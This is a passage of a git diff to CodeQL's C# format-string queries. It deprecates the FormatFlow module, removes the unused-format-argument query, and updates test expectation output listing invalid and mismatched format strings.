href="https://msdn.microsoft.com/en-us/library/system.string.format.aspx">String.Format Method</a>.</li> - <li>Microsoft: <a href="https://docs.microsoft.com/en-us/dotnet/standard/base-types/composite-formatting">Composite Formatting</a>.</li> -</references> -</qhelp> \ No newline at end of file diff --git a/csharp/ql/src/API Abuse/FormatUnusedArgument.ql b/csharp/ql/src/API Abuse/FormatUnusedArgument.ql deleted file mode 100644 index 226330d7dbf..00000000000 --- a/csharp/ql/src/API Abuse/FormatUnusedArgument.ql +++ /dev/null @@ -1,22 +0,0 @@ -/** - * @name Unused format argument - * @description Supplying more arguments than are required for a format string may indicate an error in the format string. - * @kind path-problem - * @problem.severity warning - * @precision high - * @id cs/format-argument-unused - * @tags reliability - * maintainability - */ - -import csharp -import semmle.code.csharp.frameworks.Format -import FormatFlow - -from FormatCall format, int unused, ValidFormatString src, PathNode source, PathNode sink -where - hasFlowPath(src, source, format, sink) and - unused = format.getAnUnusedArgument(src) and - not src.getValue() = "" -select format, source, sink, "The $@ ignores $@.", src, "format string", - format.getSuppliedExpr(unused), "this supplied value" diff --git a/csharp/ql/src/API Abuse/FormatUnusedArgumentBad.cs b/csharp/ql/src/API Abuse/FormatUnusedArgumentBad.cs index 838c1f27944..25bce1a742e 100644 --- a/csharp/ql/src/API Abuse/FormatUnusedArgumentBad.cs +++ b/csharp/ql/src/API Abuse/FormatUnusedArgumentBad.cs @@ -1,6 +1,6 @@ using System; -class Bad +class Bad2 { void M(Exception ex) { diff --git a/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll b/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll index 4980726dd0c..3c659d86d46 100644 --- a/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll +++ b/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll @@ -171,7 +171,7 @@ class InvalidFormatString extends StringLiteral { } /** Provides a dataflow configuration for format strings. */ -module FormatFlow { +deprecated module FormatFlow { private import semmle.code.csharp.dataflow.DataFlow private class FormatConfiguration extends DataFlow2::Configuration { @@ -184,18 +184,20 @@ module FormatFlow { } } - query predicate nodes = DataFlow2::PathGraph::nodes/3; + deprecated query predicate nodes = DataFlow2::PathGraph::nodes/3; - query predicate edges = DataFlow2::PathGraph::edges/2; + deprecated query predicate edges = DataFlow2::PathGraph::edges/2; - class PathNode = DataFlow2::PathNode; + deprecated class PathNode = DataFlow2::PathNode; /** * Holds if there is flow from string literal `lit` to the format string in * `call`. `litNode` and `formatNode` are the corresponding data-flow path * nodes. */ - predicate hasFlowPath(StringLiteral lit, PathNode litNode, FormatCall call, PathNode formatNode) { + deprecated predicate hasFlowPath( + StringLiteral lit, PathNode litNode, FormatCall call, PathNode formatNode + ) { litNode.getNode().asExpr() = lit and formatNode.getNode().asExpr() = call.getFormatExpr() and any(FormatConfiguration conf).hasFlowPath(litNode, formatNode) @@ -255,7 +257,7 @@ class FormatCall extends MethodCall { } /** Gets a supplied argument that is not used in the format string `src`. */ - int getAnUnusedArgument(ValidFormatString src) { + deprecated int getAnUnusedArgument(ValidFormatString src) { result = this.getASuppliedArgument() and FormatFlow::hasFlowPath(src, _, this, _) and not result = src.getAnInsert() diff --git a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs index 3f5cd8be681..81aa6953e84 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs @@ -1,7 +1,7 @@ using System; using System.Text; -class Class1 +class FormatInvalid { void FormatStringTests() { diff --git a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected index 3d765fac975..9443b7284fc 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected @@ -1,3 +1,6 @@ +edges +| FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:28:24:28:29 | format : String | +| FormatMissingArgument.cs:28:24:28:29 | format : String | FormatMissingArgument.cs:31:23:31:28 | access to parameter format | nodes | FormatInvalid.cs:9:23:9:27 | "{0}" | semmle.label | "{0}" | | FormatInvalid.cs:12:23:12:29 | "{0,1}" | semmle.label | "{0,1}" | @@ -54,47 +57,103 @@ nodes | FormatInvalid.cs:119:27:119:29 | "}" | semmle.label | "}" | | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | semmle.label | "class {0} { }" | | FormatInvalidGood.cs:7:30:7:46 | "class {0} {{ }}" | semmle.label | "class {0} {{ }}" | -edges +| FormatMissingArgument.cs:8:23:8:27 | "{0}" | semmle.label | "{0}" | +| FormatMissingArgument.cs:11:23:11:27 | "{1}" | semmle.label | "{1}" | +| FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | semmle.label | "{2} {3}" | +| FormatMissingArgument.cs:17:23:17:35 | "{0} {1} {2}" | semmle.label | "{0} {1} {2}" | +| FormatMissingArgument.cs:20:23:20:39 | "{0} {1} {2} {3}" | semmle.label | "{0} {1} {2} {3}" | +| FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | semmle.label | "{1}" : String | +| FormatMissingArgument.cs:25:27:25:31 | "{0}" | semmle.label | "{0}" | +| FormatMissingArgument.cs:28:24:28:29 | format : String | semmle.label | format : String | +| FormatMissingArgument.cs:31:23:31:28 | access to parameter format | semmle.label | access to parameter format | +| FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | semmle.label | "Hello {0} {1}" | +| FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | semmle.label | "Hello {1} {2}" | +| FormatMissingArgumentGood.cs:7:27:7:41 | "Hello {0} {1}" | semmle.label | "Hello {0} {1}" | +| FormatUnusedArgument.cs:8:23:8:35 | "{0} {1} {2}" | semmle.label | "{0} {1} {2}" | +| FormatUnusedArgument.cs:11:23:11:25 | "X" | semmle.label | "X" | +| FormatUnusedArgument.cs:14:23:14:27 | "{0}" | semmle.label | "{0}" | +| FormatUnusedArgument.cs:17:23:17:31 | "{0} {0}" | semmle.label | "{0} {0}" | +| FormatUnusedArgument.cs:20:23:20:31 | "{1} {1}" | semmle.label | "{1} {1}" | +| FormatUnusedArgument.cs:23:23:23:31 | "abcdefg" | semmle.label | "abcdefg" | +| FormatUnusedArgument.cs:26:23:26:31 | "{{sdc}}" | semmle.label | "{{sdc}}" | +| FormatUnusedArgument.cs:29:23:29:33 | "{{{0:D}}}" | semmle.label | "{{{0:D}}}" | +| FormatUnusedArgument.cs:32:23:32:39 | "{0} {1} {2} {3}" | semmle.label | "{0} {1} {2} {3}" | +| FormatUnusedArgument.cs:35:23:35:35 | "{0} {1} {2}" | semmle.label | "{0} {1} {2}" | +| FormatUnusedArgument.cs:38:23:38:29 | "{{0}}" | semmle.label | "{{0}}" | +| FormatUnusedArgument.cs:42:23:42:24 | "" | semmle.label | "" | +| FormatUnusedArgumentBad.cs:7:27:7:54 | "Error processing file: {0}" | semmle.label | "Error processing file: {0}" | +| FormatUnusedArgumentBad.cs:8:27:8:60 | "Error processing file: {1} ({1})" | semmle.label | "Error processing file: {1} ({1})" | +| FormatUnusedArgumentBad.cs:9:27:9:58 | "Error processing file: %s (%d)" | semmle.label | "Error processing file: %s (%d)" | #select -| FormatInvalid.cs:27:24:27:28 | "{ 0}" | FormatInvalid.cs:27:23:27:28 | "{ 0}" | FormatInvalid.cs:27:23:27:28 | "{ 0}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:27:9:27:32 | call to method Format | this | -| FormatInvalid.cs:30:24:30:31 | "{0,--1}" | FormatInvalid.cs:30:23:30:31 | "{0,--1}" | FormatInvalid.cs:30:23:30:31 | "{0,--1}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:30:9:30:35 | call to method Format | this | -| FormatInvalid.cs:33:24:33:30 | "{0:{}}" | FormatInvalid.cs:33:23:33:30 | "{0:{}}" | FormatInvalid.cs:33:23:33:30 | "{0:{}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:33:9:33:34 | call to method Format | this | -| FormatInvalid.cs:39:27:39:33 | "{{0}-{1}}" | FormatInvalid.cs:39:23:39:33 | "{{0}-{1}}" | FormatInvalid.cs:39:23:39:33 | "{{0}-{1}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:39:9:39:40 | call to method Format | this | -| FormatInvalid.cs:42:27:42:28 | "{0}}" | FormatInvalid.cs:42:23:42:28 | "{0}}" | FormatInvalid.cs:42:23:42:28 | "{0}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:42:9:42:35 | call to method Format | this | -| FormatInvalid.cs:45:24:45:32 | "{foo{0}}" | FormatInvalid.cs:45:23:45:32 | "{foo{0}}" | FormatInvalid.cs:45:23:45:32 | "{foo{0}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:45:9:45:36 | call to method Format | this | -| FormatInvalid.cs:51:24:51:25 | "}" | FormatInvalid.cs:51:23:51:25 | "}" | FormatInvalid.cs:51:23:51:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:51:9:51:29 | call to method Format | this | -| FormatInvalid.cs:75:24:75:25 | "}" | FormatInvalid.cs:75:23:75:25 | "}" | FormatInvalid.cs:75:23:75:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:75:9:75:29 | call to method Format | this | -| FormatInvalid.cs:76:24:76:25 | "}" | FormatInvalid.cs:76:23:76:25 | "}" | FormatInvalid.cs:76:23:76:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:76:9:76:30 | call to method Format | this | -| FormatInvalid.cs:77:28:77:29 | "}" | FormatInvalid.cs:77:27:77:29 | "}" | FormatInvalid.cs:77:27:77:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:77:9:77:34 | call to method Format | this | -| FormatInvalid.cs:78:24:78:25 | "}" | FormatInvalid.cs:78:23:78:25 | "}" | FormatInvalid.cs:78:23:78:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:78:9:78:32 | call to method Format | this | -| FormatInvalid.cs:79:24:79:25 | "}" | FormatInvalid.cs:79:23:79:25 | "}" | FormatInvalid.cs:79:23:79:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:79:9:79:35 | call to method Format | this | -| FormatInvalid.cs:80:24:80:25 | "}" | FormatInvalid.cs:80:23:80:25 | "}" | FormatInvalid.cs:80:23:80:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:80:9:80:38 | call to method Format | this | -| FormatInvalid.cs:82:26:82:27 | "}" | FormatInvalid.cs:82:25:82:27 | "}" | FormatInvalid.cs:82:25:82:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:82:9:82:31 | call to method AppendFormat | this | -| FormatInvalid.cs:83:26:83:27 | "}" | FormatInvalid.cs:83:25:83:27 | "}" | FormatInvalid.cs:83:25:83:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:83:9:83:32 | call to method AppendFormat | this | -| FormatInvalid.cs:84:30:84:31 | "}" | FormatInvalid.cs:84:29:84:31 | "}" | FormatInvalid.cs:84:29:84:31 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:84:9:84:36 | call to method AppendFormat | this | -| FormatInvalid.cs:85:26:85:27 | "}" | FormatInvalid.cs:85:25:85:27 | "}" | FormatInvalid.cs:85:25:85:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:85:9:85:34 | call to method AppendFormat | this | -| FormatInvalid.cs:86:26:86:27 | "}" | FormatInvalid.cs:86:25:86:27 | "}" | FormatInvalid.cs:86:25:86:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:86:9:86:37 | call to method AppendFormat | this | -| FormatInvalid.cs:87:26:87:27 | "}" | FormatInvalid.cs:87:25:87:27 | "}" | FormatInvalid.cs:87:25:87:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:87:9:87:40 | call to method AppendFormat | this | -| FormatInvalid.cs:89:28:89:29 | "}" | FormatInvalid.cs:89:27:89:29 | "}" | FormatInvalid.cs:89:27:89:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:89:9:89:33 | call to method WriteLine | this | -| FormatInvalid.cs:90:28:90:29 | "}" | FormatInvalid.cs:90:27:90:29 | "}" | FormatInvalid.cs:90:27:90:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:90:9:90:34 | call to method WriteLine | this | -| FormatInvalid.cs:91:28:91:29 | "}" | FormatInvalid.cs:91:27:91:29 | "}" | FormatInvalid.cs:91:27:91:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:91:9:91:36 | call to method WriteLine | this | -| FormatInvalid.cs:92:28:92:29 | "}" | FormatInvalid.cs:92:27:92:29 | "}" | FormatInvalid.cs:92:27:92:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:92:9:92:39 | call to method WriteLine | this | -| FormatInvalid.cs:93:28:93:29 | "}" | FormatInvalid.cs:93:27:93:29 | "}" | FormatInvalid.cs:93:27:93:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:93:9:93:42 | call to method WriteLine | this | -| FormatInvalid.cs:95:23:95:24 | "}" | FormatInvalid.cs:95:22:95:24 | "}" | FormatInvalid.cs:95:22:95:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:95:9:95:28 | call to method WriteLine | this | -| FormatInvalid.cs:96:23:96:24 | "}" | FormatInvalid.cs:96:22:96:24 | "}" | FormatInvalid.cs:96:22:96:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:96:9:96:29 | call to method WriteLine | this | -| FormatInvalid.cs:97:23:97:24 | "}" | FormatInvalid.cs:97:22:97:24 | "}" | FormatInvalid.cs:97:22:97:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:97:9:97:31 | call to method WriteLine | this | -| FormatInvalid.cs:98:23:98:24 | "}" | FormatInvalid.cs:98:22:98:24 | "}" | FormatInvalid.cs:98:22:98:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:98:9:98:34 | call to method WriteLine | this | -| FormatInvalid.cs:99:23:99:24 | "}" | FormatInvalid.cs:99:22:99:24 | "}" | FormatInvalid.cs:99:22:99:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:99:9:99:37 | call to method WriteLine | this | -| FormatInvalid.cs:101:45:101:46 | "}" | FormatInvalid.cs:101:44:101:46 | "}" | FormatInvalid.cs:101:44:101:46 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:101:9:101:51 | call to method WriteLine | this | -| FormatInvalid.cs:102:46:102:47 | "}" | FormatInvalid.cs:102:45:102:47 | "}" | FormatInvalid.cs:102:45:102:47 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:102:9:102:51 | call to method TraceError | this | -| FormatInvalid.cs:103:52:103:53 | "}" | FormatInvalid.cs:103:51:103:53 | "}" | FormatInvalid.cs:103:51:103:53 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:103:9:103:57 | call to method TraceInformation | this | -| FormatInvalid.cs:104:48:104:49 | "}" | FormatInvalid.cs:104:47:104:49 | "}" | FormatInvalid.cs:104:47:104:49 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:104:9:104:53 | call to method TraceWarning | this | -| FormatInvalid.cs:105:30:105:31 | "}" | FormatInvalid.cs:105:29:105:31 | "}" | FormatInvalid.cs:105:29:105:31 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:105:9:105:35 | call to method TraceInformation | this | -| FormatInvalid.cs:107:24:107:25 | "}" | FormatInvalid.cs:107:23:107:25 | "}" | FormatInvalid.cs:107:23:107:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:107:9:107:29 | call to method Write | this | -| FormatInvalid.cs:108:24:108:25 | "}" | FormatInvalid.cs:108:23:108:25 | "}" | FormatInvalid.cs:108:23:108:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:108:9:108:32 | call to method Write | this | -| FormatInvalid.cs:109:24:109:25 | "}" | FormatInvalid.cs:109:23:109:25 | "}" | FormatInvalid.cs:109:23:109:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:109:9:109:35 | call to method Write | this | -| FormatInvalid.cs:110:24:110:25 | "}" | FormatInvalid.cs:110:23:110:25 | "}" | FormatInvalid.cs:110:23:110:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:110:9:110:38 | call to method Write | this | -| FormatInvalid.cs:115:57:115:58 | "}" | FormatInvalid.cs:115:56:115:58 | [assertion success] "}" | FormatInvalid.cs:115:56:115:58 | [assertion success] "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:115:9:115:63 | call to method Assert | this | -| FormatInvalid.cs:116:19:116:20 | "}" | FormatInvalid.cs:116:18:116:20 | "}" | FormatInvalid.cs:116:18:116:20 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:116:9:116:24 | call to method Write | this | -| FormatInvalid.cs:117:41:117:42 | "}" | FormatInvalid.cs:117:40:117:42 | "}" | FormatInvalid.cs:117:40:117:42 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:117:9:117:47 | call to method Print | this | -| FormatInvalidBad.cs:7:41:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | Invalid format string used in $@ formatting call. | FormatInvalidBad.cs:7:16:7:50 | call to method Format | this | +| FormatInvalid.cs:27:23:27:28 | "{ 0}" | FormatInvalid.cs:27:23:27:28 | "{ 0}" | FormatInvalid.cs:27:23:27:28 | "{ 0}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:27:9:27:32 | call to method Format | this | FormatInvalid.cs:27:9:27:32 | call to method Format | this | +| FormatInvalid.cs:30:23:30:31 | "{0,--1}" | FormatInvalid.cs:30:23:30:31 | "{0,--1}" | FormatInvalid.cs:30:23:30:31 | "{0,--1}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:30:9:30:35 | call to method Format | this | FormatInvalid.cs:30:9:30:35 | call to method Format | this | +| FormatInvalid.cs:33:23:33:30 | "{0:{}}" | FormatInvalid.cs:33:23:33:30 | "{0:{}}" | FormatInvalid.cs:33:23:33:30 | "{0:{}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:33:9:33:34 | call to method Format | this | FormatInvalid.cs:33:9:33:34 | call to method Format | this | +| FormatInvalid.cs:36:9:36:30 | call to method Format | FormatInvalid.cs:36:23:36:26 | "%d" | FormatInvalid.cs:36:23:36:26 | "%d" | The $@ ignores $@. | FormatInvalid.cs:36:23:36:26 | "%d" | format string | FormatInvalid.cs:36:29:36:29 | (...) ... | this supplied value | +| FormatInvalid.cs:39:23:39:33 | "{{0}-{1}}" | FormatInvalid.cs:39:23:39:33 | "{{0}-{1}}" | FormatInvalid.cs:39:23:39:33 | "{{0}-{1}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:39:9:39:40 | call to method Format | this | FormatInvalid.cs:39:9:39:40 | call to method Format | this | +| FormatInvalid.cs:42:23:42:28 | "{0}}" | FormatInvalid.cs:42:23:42:28 | "{0}}" | FormatInvalid.cs:42:23:42:28 | "{0}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:42:9:42:35 | call to method Format | this | FormatInvalid.cs:42:9:42:35 | call to method Format | this | +| FormatInvalid.cs:45:23:45:32 | "{foo{0}}" | FormatInvalid.cs:45:23:45:32 | "{foo{0}}" | FormatInvalid.cs:45:23:45:32 | "{foo{0}}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:45:9:45:36 | call to method Format | this | FormatInvalid.cs:45:9:45:36 | call to method Format | this | +| FormatInvalid.cs:48:9:48:35 | call to method Format | FormatInvalid.cs:48:23:48:31 | "{{sdc}}" | FormatInvalid.cs:48:23:48:31 | "{{sdc}}" | The $@ ignores $@. | FormatInvalid.cs:48:23:48:31 | "{{sdc}}" | format string | FormatInvalid.cs:48:34:48:34 | (...) ... | this supplied value | +| FormatInvalid.cs:51:23:51:25 | "}" | FormatInvalid.cs:51:23:51:25 | "}" | FormatInvalid.cs:51:23:51:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:51:9:51:29 | call to method Format | this | FormatInvalid.cs:51:9:51:29 | call to method Format | this | +| FormatInvalid.cs:54:9:54:46 | call to method Format | FormatInvalid.cs:54:23:54:42 | "new {0} ({1} => {{" | FormatInvalid.cs:54:23:54:42 | "new {0} ({1} => {{" | Argument '{1}' has not been supplied to $@ format string. | FormatInvalid.cs:54:23:54:42 | "new {0} ({1} => {{" | this | FormatInvalid.cs:54:23:54:42 | "new {0} ({1} => {{" | this | +| FormatInvalid.cs:57:9:57:31 | call to method Format | FormatInvalid.cs:57:23:57:26 | "{{" | FormatInvalid.cs:57:23:57:26 | "{{" | The $@ ignores $@. | FormatInvalid.cs:57:23:57:26 | "{{" | format string | FormatInvalid.cs:57:29:57:30 | "" | this supplied value | +| FormatInvalid.cs:58:9:58:35 | call to method Format | FormatInvalid.cs:58:23:58:30 | "{{{{}}" | FormatInvalid.cs:58:23:58:30 | "{{{{}}" | The $@ ignores $@. | FormatInvalid.cs:58:23:58:30 | "{{{{}}" | format string | FormatInvalid.cs:58:33:58:34 | "" | this supplied value | +| FormatInvalid.cs:75:23:75:25 | "}" | FormatInvalid.cs:75:23:75:25 | "}" | FormatInvalid.cs:75:23:75:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:75:9:75:29 | call to method Format | this | FormatInvalid.cs:75:9:75:29 | call to method Format | this | +| FormatInvalid.cs:76:23:76:25 | "}" | FormatInvalid.cs:76:23:76:25 | "}" | FormatInvalid.cs:76:23:76:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:76:9:76:30 | call to method Format | this | FormatInvalid.cs:76:9:76:30 | call to method Format | this | +| FormatInvalid.cs:77:27:77:29 | "}" | FormatInvalid.cs:77:27:77:29 | "}" | FormatInvalid.cs:77:27:77:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:77:9:77:34 | call to method Format | this | FormatInvalid.cs:77:9:77:34 | call to method Format | this | +| FormatInvalid.cs:78:23:78:25 | "}" | FormatInvalid.cs:78:23:78:25 | "}" | FormatInvalid.cs:78:23:78:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:78:9:78:32 | call to method Format | this | FormatInvalid.cs:78:9:78:32 | call to method Format | this | +| FormatInvalid.cs:79:23:79:25 | "}" | FormatInvalid.cs:79:23:79:25 | "}" | FormatInvalid.cs:79:23:79:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:79:9:79:35 | call to method Format | this | FormatInvalid.cs:79:9:79:35 | call to method Format | this | +| FormatInvalid.cs:80:23:80:25 | "}" | FormatInvalid.cs:80:23:80:25 | "}" | FormatInvalid.cs:80:23:80:25 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:80:9:80:38 | call to method Format | this | FormatInvalid.cs:80:9:80:38 | call to method Format | this | +| FormatInvalid.cs:82:25:82:27 | "}" | FormatInvalid.cs:82:25:82:27 | "}" | FormatInvalid.cs:82:25:82:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:82:9:82:31 | call to method AppendFormat | this | FormatInvalid.cs:82:9:82:31 | call to method AppendFormat | this | +| FormatInvalid.cs:83:25:83:27 | "}" | FormatInvalid.cs:83:25:83:27 | "}" | FormatInvalid.cs:83:25:83:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:83:9:83:32 | call to method AppendFormat | this | FormatInvalid.cs:83:9:83:32 | call to method AppendFormat | this | +| FormatInvalid.cs:84:29:84:31 | "}" | FormatInvalid.cs:84:29:84:31 | "}" | FormatInvalid.cs:84:29:84:31 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:84:9:84:36 | call to method AppendFormat | this | FormatInvalid.cs:84:9:84:36 | call to method AppendFormat | this | +| FormatInvalid.cs:85:25:85:27 | "}" | FormatInvalid.cs:85:25:85:27 | "}" | FormatInvalid.cs:85:25:85:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:85:9:85:34 | call to method AppendFormat | this | FormatInvalid.cs:85:9:85:34 | call to method AppendFormat | this | +| FormatInvalid.cs:86:25:86:27 | "}" | FormatInvalid.cs:86:25:86:27 | "}" | FormatInvalid.cs:86:25:86:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:86:9:86:37 | call to method AppendFormat | this | FormatInvalid.cs:86:9:86:37 | call to method AppendFormat | this | +| FormatInvalid.cs:87:25:87:27 | "}" | FormatInvalid.cs:87:25:87:27 | "}" | FormatInvalid.cs:87:25:87:27 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:87:9:87:40 | call to method AppendFormat | this | FormatInvalid.cs:87:9:87:40 | call to method AppendFormat | this | +| FormatInvalid.cs:89:27:89:29 | "}" | FormatInvalid.cs:89:27:89:29 | "}" | FormatInvalid.cs:89:27:89:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:89:9:89:33 | call to method WriteLine | this | FormatInvalid.cs:89:9:89:33 | call to method WriteLine | this | +| FormatInvalid.cs:90:27:90:29 | "}" | FormatInvalid.cs:90:27:90:29 | "}" | FormatInvalid.cs:90:27:90:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:90:9:90:34 | call to method WriteLine | this | FormatInvalid.cs:90:9:90:34 | call to method WriteLine | this | +| FormatInvalid.cs:91:27:91:29 | "}" | FormatInvalid.cs:91:27:91:29 | "}" | FormatInvalid.cs:91:27:91:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:91:9:91:36 | call to method WriteLine | this | FormatInvalid.cs:91:9:91:36 | call to method WriteLine | this | +| FormatInvalid.cs:92:27:92:29 | "}" | FormatInvalid.cs:92:27:92:29 | "}" | FormatInvalid.cs:92:27:92:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:92:9:92:39 | call to method WriteLine | this | FormatInvalid.cs:92:9:92:39 | call to method WriteLine | this | +| FormatInvalid.cs:93:27:93:29 | "}" | FormatInvalid.cs:93:27:93:29 | "}" | FormatInvalid.cs:93:27:93:29 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:93:9:93:42 | call to method WriteLine | this | FormatInvalid.cs:93:9:93:42 | call to method WriteLine | this | +| FormatInvalid.cs:95:22:95:24 | "}" | FormatInvalid.cs:95:22:95:24 | "}" | FormatInvalid.cs:95:22:95:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:95:9:95:28 | call to method WriteLine | this | FormatInvalid.cs:95:9:95:28 | call to method WriteLine | this | +| FormatInvalid.cs:96:22:96:24 | "}" | FormatInvalid.cs:96:22:96:24 | "}" | FormatInvalid.cs:96:22:96:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:96:9:96:29 | call to method WriteLine | this | FormatInvalid.cs:96:9:96:29 | call to method WriteLine | this | +| FormatInvalid.cs:97:22:97:24 | "}" | FormatInvalid.cs:97:22:97:24 | "}" | FormatInvalid.cs:97:22:97:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:97:9:97:31 | call to method WriteLine | this | FormatInvalid.cs:97:9:97:31 | call to method WriteLine | this | +| FormatInvalid.cs:98:22:98:24 | "}" | FormatInvalid.cs:98:22:98:24 | "}" | FormatInvalid.cs:98:22:98:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:98:9:98:34 | call to method WriteLine | this | FormatInvalid.cs:98:9:98:34 | call to method WriteLine | this | +| FormatInvalid.cs:99:22:99:24 | "}" | FormatInvalid.cs:99:22:99:24 | "}" | FormatInvalid.cs:99:22:99:24 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:99:9:99:37 | call to method WriteLine | this | FormatInvalid.cs:99:9:99:37 | call to method WriteLine | this | +| FormatInvalid.cs:101:44:101:46 | "}" | FormatInvalid.cs:101:44:101:46 | "}" | FormatInvalid.cs:101:44:101:46 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:101:9:101:51 | call to method WriteLine | this | FormatInvalid.cs:101:9:101:51 | call to method WriteLine | this | +| FormatInvalid.cs:102:45:102:47 | "}" | FormatInvalid.cs:102:45:102:47 | "}" | FormatInvalid.cs:102:45:102:47 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:102:9:102:51 | call to method TraceError | this | FormatInvalid.cs:102:9:102:51 | call to method TraceError | this | +| FormatInvalid.cs:103:51:103:53 | "}" | FormatInvalid.cs:103:51:103:53 | "}" | FormatInvalid.cs:103:51:103:53 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:103:9:103:57 | call to method TraceInformation | this | FormatInvalid.cs:103:9:103:57 | call to method TraceInformation | this | +| FormatInvalid.cs:104:47:104:49 | "}" | FormatInvalid.cs:104:47:104:49 | "}" | FormatInvalid.cs:104:47:104:49 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:104:9:104:53 | call to method TraceWarning | this | FormatInvalid.cs:104:9:104:53 | call to method TraceWarning | this | +| FormatInvalid.cs:105:29:105:31 | "}" | FormatInvalid.cs:105:29:105:31 | "}" | FormatInvalid.cs:105:29:105:31 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:105:9:105:35 | call to method TraceInformation | this | FormatInvalid.cs:105:9:105:35 | call to method 